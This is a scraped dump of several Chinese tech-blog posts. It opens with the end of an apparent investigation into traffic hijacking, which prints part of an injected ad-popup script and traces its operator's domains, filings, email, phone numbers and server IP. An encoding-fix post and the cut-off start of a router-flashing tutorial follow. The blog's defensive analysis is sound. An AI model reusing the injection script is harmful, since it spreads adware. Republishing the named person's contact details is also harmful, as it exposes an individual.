\"clo();\");\r\n\ta0.innerHTML = \"x\";\r\n\td.getElementById(\"x\").appendChild(a0);\r\n\tvar e0 = d.createElement(\"em\");\r\n\te0.id = \"e0\";\r\n\te0.innerHTML = \"\u5e7f\u544a\";\r\n\td.getElementById(\"x\").appendChild(e0);\r\n\tvar ifr1 = d.createElement(\"iframe\");\r\n\tifr1.id = \"a\";\r\n\tifr1.width = adw;\r\n\tifr1.height = adh;\r\n\tifr1.setAttribute(\"frameborder\", \"0\");\r\n\tifr1.setAttribute(\"marginheight\", \"0\");\r\n\tifr1.setAttribute(\"marginwidth\", \"0\");\r\n\tifr1.src = a;\r\n\td.getElementById(\"x\").appendChild(ifr1);\r\n\tvar im = d.getElementById(\"m\");\r\n\tif (isiphone || isipad) {\r\n\t\tim.width = d.body.clientWidth;\r\n\t\tim.scrolling = \"no\"\r\n\t}\r\n}\r\nfunction clo() {\r\n\td.getElementById(\"x\").style.display = \"none\"\r\n}\r\nsetTimeout(\"clo()\", 300000);\r\nsetTimeout(function() {\r\n\td.getElementById(\"x\").style.display = \"block\"\r\n}, 1000);</pre>\r\n\u8fd9\u6bb5\u4ee3\u7801\u5199\u7684\u8fd8\u662f\u6bd4\u8f836\u7684\uff0c\u4e0d\u4ec5\u4ec5\u505a\u4e86\u5b8c\u5584\u7684\u8bbe\u5907\u7c7b\u578b\u68c0\u67e5\uff0c\u8fd8\u53ef\u4ee5\u81ea\u9002\u5e94\u8bbe\u5907\u7684\u5c4f\u5e55\uff0c\u517c\u5bb9\u6027\u5f3a\u4e86\u4e0d\u5c11\uff0c\u800c\u4e14\u8bbe\u5b9a\u4e8630\u79d2\u540e\u5e7f\u544a\u5f39\u7a97\u5173\u95ed\uff0c\u5c31\u662f\u8fd9\u6bb5\u7b80\u77ed\u7684\u4ee3\u7801\u4ea7\u751f\u4e86\u5982\u6b64\u795e\u5947\u7684\u9875\u9762\u3002\r\n<p>\r\n\t\u8fd9\u6bb5\u4ee3\u7801\u7684\u5173\u952e\u70b9\u5c31\u5728\u8fd9\u91cc http://m.vivi997.com/qiyi/ \uff0c\u8fd9\u5c31\u662f\u90a3\u4e2a\u5e7f\u544aiframe\u6240\u5d4c\u5165\u7684url\uff0c\u5148\u770b\u770b\u8fd9\u4e2a\u57df\u540d\u7684\u76f8\u5173\u4fe1\u606f\uff0c\u4fe1\u606f\u663e\u793a\u6b64\u57df\u540d\u6ce8\u518c\u4eba\u4e3a\u8d75\u654f\uff0c\u6211\u8bf4\u8fd9\u4f4d\u54e5\uff0c\u4f60\u7684\u5f20\u65e0\u5fcc\u54e5\u54e5\u73b0\u5728\u8fd8\u597d\u5417\uff1f\r\n</p>\r\n<p>\r\n\t\u6ce8\u518c\u6027\u8d28\u4e3a\u4e2a\u4eba\u6ce8\u518c\uff0c\u5907\u6848\u53f7 \u6d59ICP\u590716001403\u53f7 \u662f\u91cd\u70b9\uff0c\u53cd\u67e5\u8fd9\u4e2a\u5907\u6848\u53f7\uff0c\u53d1\u73b0\u8d75\u654f\u540c\u65f6\u5907\u6848\u4e86\u5f88\u591a\u57df\u540d\uff0c\u5217\u8868\u5982\u4e0b\r\n</p>\r\n<pre class=\"brush:js;\">\u5e8f\u53f7 \t\u4e3b\u529e\u5355\u4f4d\u540d\u79f0 \t\u4e3b\u529e\u5355\u4f4d\u6027\u8d28 \t\u7f51\u7ad9\u5907\u6848/\u8bb8\u53ef\u8bc1\u53f7 \t\u7f51\u7ad9\u540d\u79f0 \t\u7f51\u7ad9\u9996\u9875\u7f51\u5740 \t\u5ba1\u6838\u65f6\u95f4 \t\u662f\u5426\u9650\u5236\u63a5\u5165 \t\u8be6\u7ec6\u4fe1\u606f\r\n1 \t\u8d75\u654f \t\u4e2a\u4eba \t\u6d59ICP\u590716001403\u53f7-1 \t\u597d\u6613\u7f51 \twww.apkopb7.com\t2016-05-12 \t\u5426 \t\u8be6\u7ec6\r\n2 \t\u8d75\u654f \t\u4e2a\u4eba \t\u6d59ICP\u590716001403\u53f7-10 \t\u54c1\u5c1a\u7f51 \twww.22ccg.com\t2016-05-12 \t\u5426 \t\u8be6\u7ec6\r\n3 \t\u8d75\u654f \t\u4e2a\u4eba \t\u6d59ICP\u590716001403\u53f7-11 \ttm\u65f6\u5c1a \twww.ma789v.com\t2016-05-12 \t\u5426 \t\u8be6\u7ec6\r\n4 \t\u8d75\u654f \t\u4e2a\u4eba \t\u6d59ICP\u590716001403\u53f7-12 \t\u627e\u5927\u724c \twww.9113529.com\t2016-05-12 \t\u5426 \t\u8be6\u7ec6\r\n5 \t\u8d75\u654f \t\u4e2a\u4eba \t\u6d59ICP\u590716001403\u53f7-13 9966\u5bfc\u822a www.schoolf4.com 2016-05-12 \t\u5426 \t\u8be6\u7ec6\r\n6 \t\u8d75\u654f \t\u4e2a\u4eba \t\u6d59ICP\u590716001403\u53f7-2 \t\u805a\u60e0\u7f51 \twww.sxdzrmv.com\t2016-05-12 \t\u5426 \t\u8be6\u7ec6\r\n7 \t\u8d75\u654f \t\u4e2a\u4eba \t\u6d59ICP\u590716001403\u53f7-3 \t\u65f6\u5c1a\u575e \twww.66y77u8.com\t2016-05-12 \t\u5426 \t\u8be6\u7ec6\r\n8 \t\u8d75\u654f \t\u4e2a\u4eba \t\u6d59ICP\u590716001403\u53f7-4 \t\u4eab\u8da3\u7f51 \twww.xarm688.com\t2016-05-12 \t\u5426 \t\u8be6\u7ec6\r\n9 \t\u8d75\u654f \t\u4e2a\u4eba \t\u6d59ICP\u590716001403\u53f7-5 \t\u4f9d\u4eba\u7f51 \twww.fqceyqo.com\t2016-05-12 \t\u5426 \t\u8be6\u7ec6\r\n10 \t\u8d75\u654f \t\u4e2a\u4eba \t\u6d59ICP\u590716001403\u53f7-6 \t\u54c1\u805a\u60e0 \twww.90wwq.com\t2016-05-12 \t\u5426 \t\u8be6\u7ec6\r\n11 \t\u8d75\u654f \t\u4e2a\u4eba \t\u6d59ICP\u590716001403\u53f7-7 \t\u4e45\u7f8e\u7f51 \twww.mapvoo.com\t2016-05-12 \t\u5426 \t\u8be6\u7ec6\r\n12 \t\u8d75\u654f \t\u4e2a\u4eba \t\u6d59ICP\u590716001403\u53f7-8 \t\u4efb\u6211\u6311 \twww.vivi997.com\t2016-05-12 \t\u5426 \t\u8be6\u7ec6\r\n13 \t\u8d75\u654f \t\u4e2a\u4eba \t\u6d59ICP\u590716001403\u53f7-9 \t\u5982\u610f\u7f51 \twww.hg4fa.com\t2016-05-12 \t\u5426 \t\u8be6\u7ec6</pre>\r\n\u67e5\u8be2whois\u627e\u5230\u90ae\u7bb1 <span>3043738376@qq.com\uff0c\u53cd\u5dee\u90ae\u7bb1\u53d1\u73b0\u8d75\u654f\u8fd8\u6ce8\u518c\u4e86\u975e\u5e38\u591a\u57df\u540d\uff0c\u8fd9\u662f\u6d41\u91cf\u52ab\u6301\u5e38\u7528\u7684\u5957\u8def\uff0c\u7ecf\u5e38\u6362\u57df\u540d\uff0c\u57df\u540d\u4fe1\u606f\u5982\u4e0b\r\n<pre class=\"brush:js;\">\u5e8f\u53f7\t\u57df\u540d\t\u6ce8\u518c\u8005\t\u90ae\u7bb1\t\u7535\u8bdd\t\u6ce8\u518c\u5546\tDNS\t\u6ce8\u518c\u65f6\u95f4\t\u8fc7\u671f\u65f6\u95f4\r\n1\t22ccg.com\t zhao min\t3043738376@qq.com\t\tHICHINA ZHICHENG TECHNOLOGY LTD.\tF1G1NS1.DNSPOD.NET,F1G1NS2.DNSPOD.NET\t2016/3/29 0:00:00\t2018/3/29 0:00:00\r\n2\t3944540.com\t zhao min\t3043738376@qq.com\t\tHICHINA ZHICHENG TECHNOLOGY LTD.\tF1G1NS1.DNSPOD.NET,F1G1NS2.DNSPOD.NET\t2015/12/30 0:00:00\t2017/12/30 0:00:00\r\n3\t4832880.com\t zhao min\t3043738376@qq.com\t57186737106\t HiChina Zhicheng Technology Ltd\tF1G1NS1.DNSPOD.NET, F1G1NS2.DNSPOD.NET\t2015/12/30 0:00:00\t2017/12/30 0:00:00\r\n4\t66y77u8.com\tzhao min\t3043738376@qq.com\t\tHICHINA ZHICHENG TECHNOLOGY LTD.\tF1G1NS1.DNSPOD.NET,F1G1NS2.DNSPOD.NET\t2015/12/30 0:00:00\t2017/12/30 0:00:00\r\n5\t7180443.com\t zhao min\t3043738376@qq.com\t\tHICHINA ZHICHENG TECHNOLOGY LTD.\tF1G1NS1.DNSPOD.NET,F1G1NS2.DNSPOD.NET\t2015/12/30 0:00:00\t2017/12/30 0:00:00\r\n6\t7637960.com\tZhaoMin\t 3043738376@qq.com\t57186737106\t HiChina Zhicheng Technology Ltd\tF1G1NS1.DNSPOD.NET, F1G1NS2.DNSPOD.NET\t2015/12/30 0:00:00\t2017/12/30 0:00:00\r\n7\t90wwq.com\tzhao min\t3043738376@qq.com\t\tHICHINA ZHICHENG TECHNOLOGY LTD.\tF1G1NS1.DNSPOD.NET,F1G1NS2.DNSPOD.NET\t2016/3/29 0:00:00\t2018/3/29 0:00:00\r\n8\tavjgjol.com\t zhao min\t3043738376@qq.com\t95187\t HiChina Zhicheng Technology Ltd\tF1G1NS1.DNSPOD.NET, F1G1NS2.DNSPOD.NET\t2015/12/30 0:00:00\t2017/12/30 0:00:00\r\n9\tboyoll.com\t zhao min\t3043738376@qq.com\t\tHICHINA ZHICHENG TECHNOLOGY LTD.\tF1G1NS1.DNSPOD.NET,F1G1NS2.DNSPOD.NET\t2016/3/29 0:00:00\t2018/3/29 0:00:00\r\n10\td7ag8.com\t zhao min\t3043738376@qq.com\t57186737106\t HiChina Zhicheng Technology Ltd\tF1G1NS1.DNSPOD.NET, F1G1NS2.DNSPOD.NET\t2015/12/30 0:00:00\t2017/12/30 0:00:00\r\n11\tfi5od9.com\t zhao min\t3043738376@qq.com\t\tHICHINA ZHICHENG TECHNOLOGY LTD.\tF1G1NS1.DNSPOD.NET,F1G1NS2.DNSPOD.NET\t2015/12/30 0:00:00\t2017/12/30 0:00:00\r\n12\tfkku194.com\t zhao min\t3043738376@qq.com\t95187\t HiChina Zhicheng Technology Ltd\tF1G1NS1.DNSPOD.NET, F1G1NS2.DNSPOD.NET\t2015/12/30 0:00:00\t2017/12/30 0:00:00\r\n13\tfqceyqo.com\tzhao min\t3043738376@qq.com\t\tHICHINA ZHICHENG TECHNOLOGY LTD.\tF1G1NS1.DNSPOD.NET,F1G1NS2.DNSPOD.NET\t2015/12/30 0:00:00\t2016/12/30 0:00:00\r\n14\thnhabc.com\t zhao min\t3043738376@qq.com\t95187\t HiChina Zhicheng Technology Ltd\tF1G1NS1.DNSPOD.NET, F1G1NS2.DNSPOD.NET\t2016/3/29 0:00:00\t2018/3/29 0:00:00\r\n15\tmapvoo.com\t zhao min\t3043738376@qq.com\t\tHICHINA ZHICHENG TECHNOLOGY LTD.\tF1G1NS1.DNSPOD.NET,F1G1NS2.DNSPOD.NET\t2016/3/29 0:00:00\t2018/3/29 0:00:00\r\n16\tqlg02.com\t zhao min\t3043738376@qq.com\t95187\t HiChina Zhicheng Technology Ltd\tF1G1NS1.DNSPOD.NET, F1G1NS2.DNSPOD.NET\t2015/12/30 0:00:00\t2017/12/30 0:00:00\r\n17\tvivi997.com\t zhao min\t3043738376@qq.com\t\tHICHINA ZHICHENG TECHNOLOGY LTD.\tF1G1NS1.DNSPOD.NET,F1G1NS2.DNSPOD.NET\t2016/3/29 0:00:00\t2018/3/29 0:00:00\r\n18\twotish.com\t zhao min\t3043738376@qq.com\t95187\t HiChina Zhicheng Technology Ltd\tF1G1NS1.DNSPOD.NET, F1G1NS2.DNSPOD.NET\t2015/12/30 0:00:00\t2017/12/30 0:00:00\r\n19\txarm688.com\t zhao min\t3043738376@qq.com\t\tHICHINA ZHICHENG TECHNOLOGY LTD.\tF1G1NS1.DNSPOD.NET,F1G1NS2.DNSPOD.NET\t2015/12/30 0:00:00\t2017/12/30 0:00:00</pre>\r\n</span> \r\n<p>\r\n\t<span> \u4ece\u8fd9\u4e9b\u7f51\u5740\u4e0a\u6765\u770b\uff0c\u8fd9\u4e2a\u8d75\u654f\u4f3c\u4e4e\u662f\u4e2a\u505a\u63a8\u5e7f\u7684\uff0c\u4f46\u662f\u4ed4\u7ec6\u4e00\u60f3\uff0c\u8fd9\u4e24\u5e74\u83e0\u83dc\u5e7f\u544a\u6253\u51fb\u529b\u5ea6\u5927\uff0c\u597d\u591a\u6d41\u91cf\u52ab\u6301\u7684\u90fd\u8dd1\u53bb\u505a\u63a8\u5e7f\u4e5f\u7b97\u6b63\u5e38\u3002\u8fd9\u4e9b\u7f51\u5740\u6253\u5f00\u5168\u90e8\u6307\u5411\u540c\u4e00\u4e2aip\u5730\u5740 218.93.127.125 \uff0c\u800c\u4e14\u9ed8\u8ba4\u9996\u9875\u4e5f\u53ea\u662f\u663e\u793ahello world\uff0c\u5f88\u660e\u663e\u662f\u7528\u4e86\u5b50\u76ee\u5f55\uff0c\u6bd4\u5982 qiyi \u5c31\u662f\u5176\u4e2d\u4e00\u4e2a\u5b50\u76ee\u5f55\uff0c\u5f53\u7136\u80af\u5b9a\u4e0d\u6b62\u505a\u4e86\u7231\u5947\u827a\u8fd9\u4e00\u4e2a\u63a8\u5e7f\uff0c\u7231\u5947\u827a\u7684\u63a8\u5e7f\u94fe\u63a5\u4e3a http://vip.iqiyi.com/?fv=zz_575fbcda2e772-846430-00wjf6050a0570e90613 \uff0c\u90a3\u4e48\u6709\u7684\u540c\u5b66\u5c31\u8981\u95ee\u4e86\uff0c\u5e72\u561b\u641e\u4e00\u4e2a\u9ec4\u8272\u5e7f\u544a\u6761\u7ed3\u679c\u63a8\u5e7f\u7684\u662f\u6b63\u89c4\u89c6\u9891\u7f51\u7ad9\uff1f\u8fd9\u4f60\u5c31\u6709\u6240\u4e0d\u77e5\u4e86\uff0c\u8fd9\u4e48\u505a\u4e00\u662f\u4e3a\u4e86\u89c4\u907f\u6cd5\u5f8b\u98ce\u9669\uff0c\u81f3\u5c11\u4e0d\u4f1a\u6d89\u9ec4\uff0c\u5176\u6b21\u662f\u56e0\u4e3a\u7231\u5947\u827a\u7ed9\u51fa\u4e86\u7684\u4f63\u91d1\u4e5f\u662f\u76f8\u5f53\u4e0d\u9519\uff0c20\u5757\u94b1\u7684\u4f1a\u5458\u4f63\u91d1\u80fd\u7ed9\u52303\u5757\u52305\u5757\uff0c\u8fd9\u4e48\u7b97\uff0c\u6d41\u91cf\u52ab\u6301\u5e26\u6765\u7684\u5229\u6da6\u4e5f\u662f\u76f8\u5f53\u7684\u53ef\u89c2\u3002</span> \r\n</p>\r\n<p>\r\n\t<span>\u67e5\u770b\u56fe\u7247\u7684src\u4e3a http://www.vivi997.com/qiyi/1031.jpg \u56fe\u7247\u540d\u79f0\u4f3c\u4e4e\u662f\u65e5\u671f\uff0c\u9875\u9762\u8bbf\u95ee\u4e5f\u5c31\u4e00\u4e2a\u5f88\u7b80\u5355\u7684\u9759\u6001\u9875\u9762\uff0c\u6ca1\u6709\u4ec0\u4e48\u6709\u4ef7\u503c\u7684\u4fe1\u606f\uff0c\u5f97\u60f3\u60f3\u5176\u4ed6\u529e\u6cd5\u3002</span> \r\n</p>\r\n<p>\r\n\t<span>\u6839\u636eQQ\u90ae\u7bb1\u67e5\u8be2\u5230\u6b64\u4ebaQQ\u6635\u79f0\u4e3a\u5b50\u975e\u9c7c\uff0cQQ\u7a7a\u95f4\u672a\u53d1\u8868\u4efb\u4f55\u4fe1\u606f\uff0c\u5e94\u8be5\u662f\u5c0f\u53f7\uff0c\u4f4d\u7f6e\u663e\u793a\u6d59\u6c5f\u676d\u5dde\uff0c\u7ed3\u5408whois\u4fe1\u606f\uff0c\u6d59\u6c5f\u676d\u5dde\u5929\u5802\u8f6f\u4ef6\u56ed\u5e94\u8be5\u662f\u6ca1\u9519\u3002</span> \r\n</p>\r\n<p>\r\n\t<span>\u626b\u63cfIP\u5730\u5740 218.93.127.125\uff08\u6c5f\u82cf\u7701\u5e38\u5dde\u5e02 \u7535\u4fe1\uff09 \u53d1\u73b0\u53ea\u5f00\u653e\u4e8680\u548c443\u7aef\u53e3\uff0c\u5b89\u5168\u610f\u8bc6\u8fd8\u662f\u4e0d\u9519\u7684\u3002</span> \r\n</p>\r\n<p>\r\n\t<span>\u81f3\u6b64\u6ca1\u6709\u83b7\u53d6\u5230\u66f4\u591a\u6709\u7528\u7684\u4fe1\u606f...<br>\r\n</span> \r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23464 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["Python3 \u62a5 'gb2312' codec can't decode byte 0x89 in position 42485: illegal multibyte sequence \u89e3\u51b3\u65b9\u6cd5"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2017-12-06, 2:53 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u7ecf\u9a8c\u5206\u4eab", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u524d\u8a00\r\n</h2>\r\n<p>\r\n\t\u5173\u4e8e\u5b57\u7b26\u7f16\u7801\u95ee\u9898\u5728Py2\u4e2d\u7ecf\u5e38\u78b0\u5230\uff0c\u4f46\u662fPy3\u5728\u5b57\u7b26\u7f16\u7801\u8fd9\u5757\u505a\u4e86\u4e0d\u5c11\u7684\u6539\u8fdb\uff0c\u4f46\u662f\u6709\u4e9b\u7279\u6b8a\u60c5\u51b5\u4e0b\u8fd8\u662f\u4f1a\u51fa\u73b0\u95ee\u9898\u3002\u4eca\u5929\u78b0\u5230\u4e86\u4e00\u4e2a\u795e\u5947\u7684\u5b57\u7b26\u95ee\u9898...\r\n</p>\r\n<p>\r\n\t\u535a\u4e3b\u4e4b\u524d\u5199\u8fc7\u4e00\u4e2a\u7f51\u7ad9\u7684\u722c\u866b\uff0c\u53bb\u5b9a\u65f6\u722c\u67d0\u4e2a\u7ad9\u70b9\u7684\u8bc4\u8bba\u5185\u5bb9\uff0c\u5df2\u7ecf\u7a33\u5b9a\u8fd0\u884c\u4e24\u4e2a\u6708\uff0c\u6bcf\u6b21\u6293\u53d6\u5b8c\u6210\u540e\u4f1a\u63a8\u9001\u4e00\u6761\u5fae\u4fe1\u6d88\u606f\u5230\u624b\u673a\u4e0a\uff0c\u4f46\u662f\u8fd9\u4e24\u5468\u4ee5\u6765\u4e00\u76f4\u6ca1\u6709\u63a8\u9001\uff0c\u89c9\u5f97\u5f88\u5947\u602a\uff0c\u96be\u9053\u7f51\u7ad9\u5185\u5bb9\u6539\u7248\u4e86\uff1f\r\n</p>\r\n<h2>\r\n\t\u5206\u6790\r\n</h2>\r\n<p>\r\n\t\u7531\u4e8e\u811a\u672c\u8dd1\u5728\u7f8e\u56fdVPS\u670d\u52a1\u5668\u4e0a\uff0c\u5148\u4f7f\u7528\u6d4f\u89c8\u5668\u6253\u5f00\u7f51\u7ad9\u67e5\u770b\u7f51\u9875\u6e90\u4ee3\u7801\uff0c\u53d1\u73b0\u7f51\u7ad9\u7ed3\u6784\u5e76\u6ca1\u6709\u53d8\uff0c\u96be\u9053\u662f\u767b\u5f55\u7684session\u5931\u6548\u4e86\uff1f\u56e0\u4e3a\u4e4b\u524d\u51fa\u73b0\u8fc7session\u5931\u6548\u7684\u60c5\u51b5\uff0c\u90a3\u662f\u56e0\u4e3a\u4e24\u6b21\u6293\u53d6\u4e2d\u95f4\u95f4\u9694\u65f6\u95f4\u592a\u957f\u5bfc\u81f4\u7684\uff0c\u540e\u6765\u8c03\u6574\u5230\u6bcf\u4e00\u4e2a\u5c0f\u65f6\u90fd\u53bb\u8bf7\u6c42\u4e00\u4e2a\uff0c\u4ee5\u4fdd\u8bc1session\u5b58\u6d3b\u3002\u6309\u7167\u9053\u7406\u6765\u8bf4\u4e0d\u5e94\u8be5\u51fa\u73b0session\u5931\u6548\u7684\u95ee\u9898\uff0c\u56e0\u4e3a\u811a\u672c\u81ea\u52a8\u8fd0\u884c\u7684\u65f6\u5019\u4f1a\u5728\u6bcf\u59290\u70b910\u5206\u7684\u65f6\u5019\u8fdb\u884c\u7b7e\u5230\u64cd\u4f5c\uff0c\u7b7e\u5230\u5b8c\u6210\u4e5f\u4f1a\u63a8\u9001\u5fae\u4fe1\u6d88\u606f\uff0c\u8fd9\u4e2a\u7b7e\u5230\u6d88\u606f\u4e00\u76f4\u90fd\u662f\u6b63\u5e38\u7684\uff0c\u53ea\u6709\u6293\u53d6\u51fa\u73b0\u4e86\u95ee\u9898\u3002\r\n</p>\r\n<p>\r\n\t\u770b\u6765\u53ea\u80fd\u628a\u811a\u672c\u62d6\u4e0b\u6765\u8c03\u8bd5\u4e86\uff0c\u672c\u5730\u8fd0\u884c\u811a\u672c\uff0c\u63d0\u793a\u9519\u8bef\r\n</p>\r\n<pre class=\"brush:bash;\"> 'gb2312' codec can't decode byte 0x89 in position 42485: illegal multibyte sequence</pre>\r\n\u795e\u5947\u4e86\uff0c\u8fd9\u4e2a\u95ee\u9898\u4e4b\u524d\u90fd\u6ca1\u6709\u51fa\u73b0\u8fc7\uff0c\u518d\u6b21\u6253\u5f00\u7f51\u7ad9\u67e5\u770b\u6e90\u4ee3\u7801\u53d1\u73b0\u7f16\u7801\u5e76\u6ca1\u6709\u53d8\uff0c\u786e\u5b9a\u662fgb2312\u6ca1\u6709\u95ee\u9898\u7684\uff0c\u795e\u5947\u4e86\uff0c\u65e2\u7136\u9875\u9762\u4e0a\u7f16\u7801\u662f\u6b63\u786e\u7684\uff0c\u4e3a\u4f55\u4f1a\u62a5\u9519\u5462\uff1f\r\n<p>\r\n\t\u6839\u636e\u4e4b\u524d\u505a\u8fc7\u5fae\u4fe1\u76f8\u5173\u5e94\u7528\u7684\u7ecf\u9a8c\u60f3\u5230\u4f1a\u4e0d\u4f1a\u662f\u56e0\u4e3a\u4e00\u4e9b\u5b57\u7b26\u5bfc\u81f4\u7684\u89e3\u7801\u5931\u8d25\uff0c\u6bd4\u5982\u4e00\u4e9b\u795e\u5947\u7684\u8868\u60c5\u6216\u8005\u6cf0\u56fd\u6587\u5b57\uff0c\u5982\u679c\u662f\u8fd9\u6837\u90a3\u5c31\u7b80\u5355\u4e86\uff0c\u4f7f\u7528\u4e00\u79cd\u8303\u56f4\u66f4\u5927\u7684\u5b57\u7b26\u7f16\u7801\u8fdb\u884c\u89e3\u7801\u5e94\u8be5\u5c31\u53ef\u4ee5\u4e86\u3002\r\n</p>\r\n<p>\r\n\t\u6839\u636e\u8c37\u6b4c\u7ed3\u679c\u5f97\u77e5\u4f7f\u7528gb18030\u5373\u53ef\uff0c\u4fee\u6539\u4ee3\u7801\u540e\u6210\u529f\u89e3\u7801\u65e0\u62a5\u9519\r\n</p>\r\n<pre class=\"brush:py;\">jifen_data = s.get(url=url_jifen, headers=headers, cookies=cookies_pc, timeout=10).content.decode('gb18030')</pre>\r\n<h2>\r\n\t\u53c2\u8003\r\n</h2>\r\n<p>\r\n\thttp://blog.csdn.net/junkichan/article/details/51913845\r\n</p>\r\n<p>\r\n\t<br>\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23463 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["360P2\u8def\u7531\u5668\u6539Flash\u5237\u8001\u6bdb\u5b50\u6559\u7a0b"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2017-11-22, 6:40 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u5f00\u6e90\u786c\u4ef6", "\n\t\t\t\t\t\t\t\t\n, ", "\u7ecf\u9a8c\u5206\u4eab", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u524d\u8a00\r\n</h2>\r\n<p>\r\n\t\u65e9\u524d\u535a\u4e3b\u5165\u624b\u4e86\u4e00\u6b3e360P2\u8def\u7531\u5668\uff0c\u7528\u8d77\u6765\u611f\u89c9\u6027\u80fd\u4e0d\u9519\uff0c\u53cc\u98911200M\uff0c\u6bd4\u6211\u4e4b\u524d70\u5757\u4e70\u7684\u4e8c\u624b\u6781\u8def\u75311S\u5f3a\u4e0d\u5c11\uff0c\u6781\u8def\u75311S\u5237\u8001\u6bdb\u5b50\u8dd1ss\u6027\u80fd\u8fd8\u662f\u6709\u70b9\u5403\u529b\uff0c\u5076\u5c14\u7684\u4e0d\u7a33\u5b9a\uff0c\u60f3\u7740\u5565\u65f6\u5019\u6362\u4e2a\u597d\u70b9\u7684\u8def\u7531\u5668\uff0c\u540e\u6765\u5728\u8bba\u575b\u770b\u5230\u6709\u4eba\u628a360P2\u5237\u4e86\u8001\u6bdb\u5b50\uff0c\u679c\u65ad\u5237\u4e00\u628a\uff0c\u4e0d\u51fa\u6240\u6599\uff0c\u6027\u80fd\u5f3a\u52b2\uff0css\u7a33\u5b9a\u4e0d\u6389\u7ebf\u4e86\uff0c\u4e8e\u662f\u53cc\u5341\u4e00\u53c8\u5165\u624b\u4e00\u4e2a360P2\uff0c\u5237\u4e86\u4e2a\u8001\u6bdb\u5b50\u9001\u4eba\r\n</p>\r\n<h2>\r\n\t\u8bf4\u660e\r\n</h2>\r\n<p>\r\n\t\u5173\u4e8e\u8001\u6bdb\u5b50\u56fa\u4ef6\u8bf7\u81ea\u884c\u8c37\u6b4c\u76f8\u5173\u4fe1\u606f\uff0c\u5404\u79cd\u8bba\u575b\u4e0a\u90fd\u6709\u5927\u795e\u4fee\u6539\u7248\u672c\uff0c\u4e5f\u90fd\u6709\u8be6\u7ec6\u7684\u5237\u673a\u6559\u7a0b\uff0c\u8fd9\u91cc\u5c31\u4e0d\u505a\u8fc7\u591a\u7684\u4ecb\u7ecd\uff0c\u4e3b\u8981\u8bb2\u8bb2\u5982\u4f55\u5feb\u901f\u6539Flash\u5237\u673a\uff0c\u8fd9\u4e2a\u8fc7\u7a0b\u8fd8\u662f\u975e\u5e38\u7b80\u5355\u7684\uff0c\u4e3b\u8981\u662f\u8981\u63d0\u524d\u51c6\u5907\u597d\u7f16\u7a0b\u5668\uff0c360P2\u514d\u62c6\u5237\u673a\u7684\u6559\u7a0b\u76ee\u524d\u4e3a\u6b62\u8fd8\u6ca1\u51fa\u73b0\uff0c\u6240\u4ee5\u62c6\u673a\u662f\u96be\u514d\u7684\uff0c\u4e0d\u8fc7\uff0c\u4f5c\u4e3a\u4e1a\u4f59\u7535\u5b50\u7231\u597d\u8005\uff0c\u535a\u4e3b\u81ea\u7136\u6bd4\u8f83\u4e50\u4e8e\u62c6\u673a\u3002\u7531\u4e8e\u4e4b\u524d\u5237\u8fc7360P2\uff0c\u65e9\u524d\u4e5f\u6539\u8fc7\u6781\u8def\u7531\u7684Flash\uff0c\u6240\u4ee5\u62c6\u710a\u65b9\u9762\u6ca1\u6709\u4ec0\u4e48\u96be\u5ea6\u3002\r\n</p>\r\n<p>\r\n\t\u9996\u5148\u62ff\u5230\u8def\u7531\u5668\u7684\u65f6\u5019\u5305\u88c5\u770b\u8d77\u6765\u8fd8\u662f\u633a\u4e0d\u9519\u7684\uff0c\u653e\u51e0\u5f20\u56fe</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=591\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201711/74ac61a7018349b082104912008d6ed4.jpg\" 